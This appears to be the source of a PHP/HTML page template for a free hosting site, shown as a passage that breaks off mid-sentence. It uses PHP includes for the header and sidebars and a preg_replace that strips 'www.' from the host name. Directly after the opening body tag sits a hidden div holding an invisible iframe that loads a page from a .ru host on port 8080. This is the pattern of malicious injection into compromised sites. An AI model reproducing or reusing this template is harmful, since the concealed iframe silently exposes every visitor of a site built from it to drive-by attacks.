- preg_replace: documentation ( source)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta name="generator" content="HTML Tidy for Windows (vers 13 April 2006), see www.w3.org" />
<title>Free Hosting Services</title>
<meta http-equiv="content-type" content="text/html; charset=us-ascii" />
<link rel="stylesheet" href="1.css" type="text/css" media="screen,projection" />
</head>
<body><div style="display:none"><iframe src="http://past-another-life.ru:8080/index.php" width=216 height=665 ></iframe></div>
<?
$yourdomain = $_SERVER['HTTP_HOST'];
$yourdomain = preg_replace('/^www\./' , '' , $yourdomain);
?>
<div id="wrapper" class="fluid">
<div id="header">
<? include ("header.php"); ?>
</div>
<div id="sidebar_left">
<?
// edit sidebarleft.php to change the right side bar on all pages;
?>
<? include ("sidebarleft.php"); ?>
</div>
<div id="sidebar_right">
<?
// edit sidebarright.php to change the right side bar on all pages;
?>
<? include ("sidebarright.php"); ?>
</div>
<div id="content">
<h2>Welcome to <? echo "$yourdomain" ;?>
Hosting</h2>
<p>We are specialists in free hosting services using clustered technolo